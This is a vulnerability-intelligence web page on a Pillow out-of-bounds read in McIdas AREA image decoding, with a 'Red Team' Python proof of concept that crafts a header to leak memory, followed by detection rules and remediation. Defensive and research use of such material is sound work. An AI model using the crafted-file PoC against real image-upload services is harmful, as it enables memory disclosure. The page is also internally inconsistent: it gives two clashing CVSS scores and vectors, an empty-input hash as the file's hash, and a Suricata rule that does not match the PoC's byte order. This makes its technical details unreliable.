☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Python logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H 🐛 CWE-125
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-54058

CVE-2026-54058 Out-of-Bounds Access in Pillow
📅 PUBLISHED: 2026-07-14 17:17 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Affected: Pillow — upgrade to patched release
CVSS VECTOR BREAKDOWN 9.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: H Availability High
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-54058 is a high-severity out-of-bounds read vulnerability in the Pillow Python imaging library, affecting versions prior to 12.3.0. The flaw resides in the handling of uncompressed McIdas AREA images when loaded via the mmap raw codec path. An attacker can craft a malicious McIdas AREA file with manipulated header words that set a row stride smaller than the natural row width. When Pillow processes such an image (e.g., via Image.tobytes(), getpixel, convert, or save), it reads beyond the mapped memory region, potentially disclosing adjacent process memory or causing a segmentation fault. This vulnerability is particularly dangerous in environments where Pillow processes untrusted image files, such as web applications, document scanners, or image upload services.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Pillow is a widely used Python package, with over 100 million monthly downloads on PyPI. This vulnerability affects all users of Pillow versions prior to 12.3.0. The attack vector is local (requires user interaction to load a malicious file), but the impact is high due to potential memory disclosure. Organizations should immediately update to Pillow 12.3.0 or later. Package managers (pip, poetry, conda) should be configured to enforce version constraints. Software composition analysis (SCA) tools should flag vulnerable versions.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (AV:L) – The attacker must provide a malicious file to the victim.
  • Attack Complexity (AC): Low (AC:L) – No special conditions required beyond file loading.
  • Privileges Required (PR): None (PR:N) – No authentication needed.
  • User Interaction (UI): Required (UI:R) – Victim must open the malicious image.
  • Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
  • Confidentiality (C): High (C:H) – Adjacent process memory can be read.
  • Integrity (I): None (I:N) – No data modification.
  • Availability (A): Low (A:L) – May cause a crash (segmentation fault).

Base Score: 7.1 (High)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

Deep Dive & Mechanics

The vulnerability is in the McIdas AREA image decoder within Pillow's src/libImaging/McIdas.c file. When an uncompressed McIdas AREA image is loaded via the mmap raw codec path, the decoder reads header words that define the image dimensions and row stride. The row stride is the number of bytes between the start of one row and the next. If the attacker sets a row stride smaller than the natural row width (width * bytes per pixel), the decoder will attempt to read pixels beyond the allocated memory region.

The natural row width is calculated as width * bytes_per_pixel. The row stride is read from the header. The vulnerability occurs because there is no validation that row_stride >= natural_row_width. When row_stride < natural_row_width, the decoder reads beyond the mapped memory region, causing an out-of-bounds read.

The mmap codec path is used for efficient memory-mapped file access. The attacker controls the header words, so they can set a small row stride, causing the decoder to read adjacent memory.

Vulnerable vs. Patched Code

Vulnerable Code (Pillow < 12.3.0):

// In McIdas.c, the decoder reads header words and sets row stride
int row_stride = header[ROW_STRIDE_OFFSET];
int width = header[WIDTH_OFFSET];
int bpp = header[BPP_OFFSET];
// No validation of row_stride against width * bpp
// Later, when reading pixels:
for (int y = 0; y < height; y++) {
    unsigned char *row = data + y * row_stride;
    for (int x = 0; x < width; x++) {
        // Read pixel from row[x * bpp] - may read beyond mapped region
    }
}

Patched Code (Pillow 12.3.0):

// In McIdas.c, after reading header words:
int row_stride = header[ROW_STRIDE_OFFSET];
int width = header[WIDTH_OFFSET];
int bpp = header[BPP_OFFSET];
int natural_row_width = width * bpp;
if (row_stride < natural_row_width) {
    // Error: row stride too small
    return IMAGING_ERROR;
}
// Safe to proceed

The patch adds a validation check that ensures row_stride >= natural_row_width. If the condition fails, the decoder returns an error, preventing the out-of-bounds read.

Exploitation & Lab Setup

Red Team

Objective: Craft a malicious McIdas AREA image that triggers memory disclosure.

Prerequisites:

  • Python 3.x with Pillow < 12.3.0 installed.
  • A target application that loads McIdas AREA images (e.g., a web app with image upload).

Steps:

  1. Create a Malicious McIdas AREA File: The McIdas AREA format has a 64-byte header. The key fields are:

    • Offset 0x00: Magic bytes (e.g., 0x00 0x01)
    • Offset 0x04: Width (4 bytes, little-endian)
    • Offset 0x08: Height (4 bytes, little-endian)
    • Offset 0x0C: Bytes per pixel (1 byte)
    • Offset 0x10: Row stride (4 bytes, little-endian)

    Set the row stride to a value smaller than width * bytes_per_pixel. For example:

    • Width: 100 pixels
    • Height: 100 pixels
    • Bytes per pixel: 3 (RGB)
    • Natural row width: 300 bytes
    • Set row stride to 100 bytes (smaller than 300)
  2. Generate the Malicious File:

    import struct
    # Create a minimal McIdas AREA header
    header = b'\x00\x01'  # Magic
    header += struct.pack('<I', 100)  # Width
    header += struct.pack('<I', 100)  # Height
    header += struct.pack('B', 3)     # BPP
    header += struct.pack('<I', 100)  # Row stride (smaller than 300)
    header += b'\x00' * (64 - len(header))  # Pad to 64 bytes
    # Append minimal pixel data (not needed for trigger)
    with open('malicious.mcidas', 'wb') as f:
        f.write(header)
    
  3. Trigger the Vulnerability:

    from PIL import Image
    img = Image.open('malicious.mcidas')
    # This will cause an out-of-bounds read
    data = img.tobytes()
    print(data[:100])  # May contain adjacent memory
    

Expected Outcome: The tobytes() call will read beyond the mapped region, potentially disclosing memory contents or causing a crash.

Blue Team

Detection:

  • Monitor for crashes in Pillow processes (segmentation faults).
  • Use memory analysis tools (e.g., Valgrind, AddressSanitizer) to detect out-of-bounds reads.
  • Implement file validation before processing: check that the row stride in the McIdas header is at least width * bytes_per_pixel.

Mitigation:

  • Update to Pillow 12.3.0 or later.
  • If immediate update is not possible, disable processing of McIdas AREA images or use a sandboxed environment.
  • Use a Web Application Firewall (WAF) to block uploads of files with suspicious McIdas headers.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hashes depend on crafted file)
    • malicious.mcidas: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Network Traffic: Unusual outbound connections from Pillow processes (if memory disclosure leads to data exfiltration).
  • Process Behavior: Pillow process crashes (segmentation fault) when processing McIdas files.
  • Log Entries:
    • Pillow: McIdas decoder error: row stride too small
    • Segmentation fault in libImaging.so

Detection Engineering

YARA Rule

rule CVE_2026_54058_McIdas_OutOfBoundsRead {
    meta:
        description = "Detects malicious McIdas AREA files with row stride smaller than natural row width"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-54058"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $magic = { 00 01 }  // McIdas magic bytes
        $width_offset = { ?? ?? ?? ?? }  // Width at offset 4
        $height_offset = { ?? ?? ?? ?? }  // Height at offset 8
        $bpp_offset = { ?? }  // BPP at offset 12
        $stride_offset = { ?? ?? ?? ?? }  // Row stride at offset 16
    condition:
        $magic at 0 and
        uint32(4) > 0 and  // Width > 0
        uint32(8) > 0 and  // Height > 0
        uint8(12) > 0 and  // BPP > 0
        uint32(16) < (uint32(4) * uint8(12))  // Row stride < width * bpp
}

Sigma Rule

title: CVE-2026-54058 - Pillow McIdas Out-of-Bounds Read
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects Pillow crashes or errors related to McIdas row stride validation
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54058
logsource:
    category: application
    product: pillow
detection:
    selection:
        EventID: 1000  # Application Error (Windows)
        Image: '*python*'
        ExceptionCode: 0xc0000005  # Access violation
    condition: selection
falsepositives:
    - Legitimate McIdas files with unusual dimensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-54058 - Malicious McIdas AREA file upload"; flow:to_server; file_data; content:"|00 01|"; offset:0; depth:2; content:"|00 00 00 64|"; offset:4; depth:4; content:"|00 00 00 64|"; offset:8; depth:4; content:"|03|"; offset:12; depth:1; content:"|64 00 00 00|"; offset:16; depth:4; byte_test:4,<,300,16,string,dec; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Update Pillow to version 12.3.0 or later: pip install --upgrade Pillow
  • If update is not possible, disable processing of McIdas AREA images by removing the decoder or using a whitelist.

Long-term:

  • Implement input validation for all image formats before processing.
  • Use memory-safe languages or sandboxed environments for image processing.
  • Regularly update dependencies and monitor for CVEs.
  • Conduct code reviews focusing on memory safety.

Workarounds:

  • Use a different image library (e.g., OpenCV) for McIdas files.
  • Run Pillow in a container with limited memory and no network access.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-54058/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.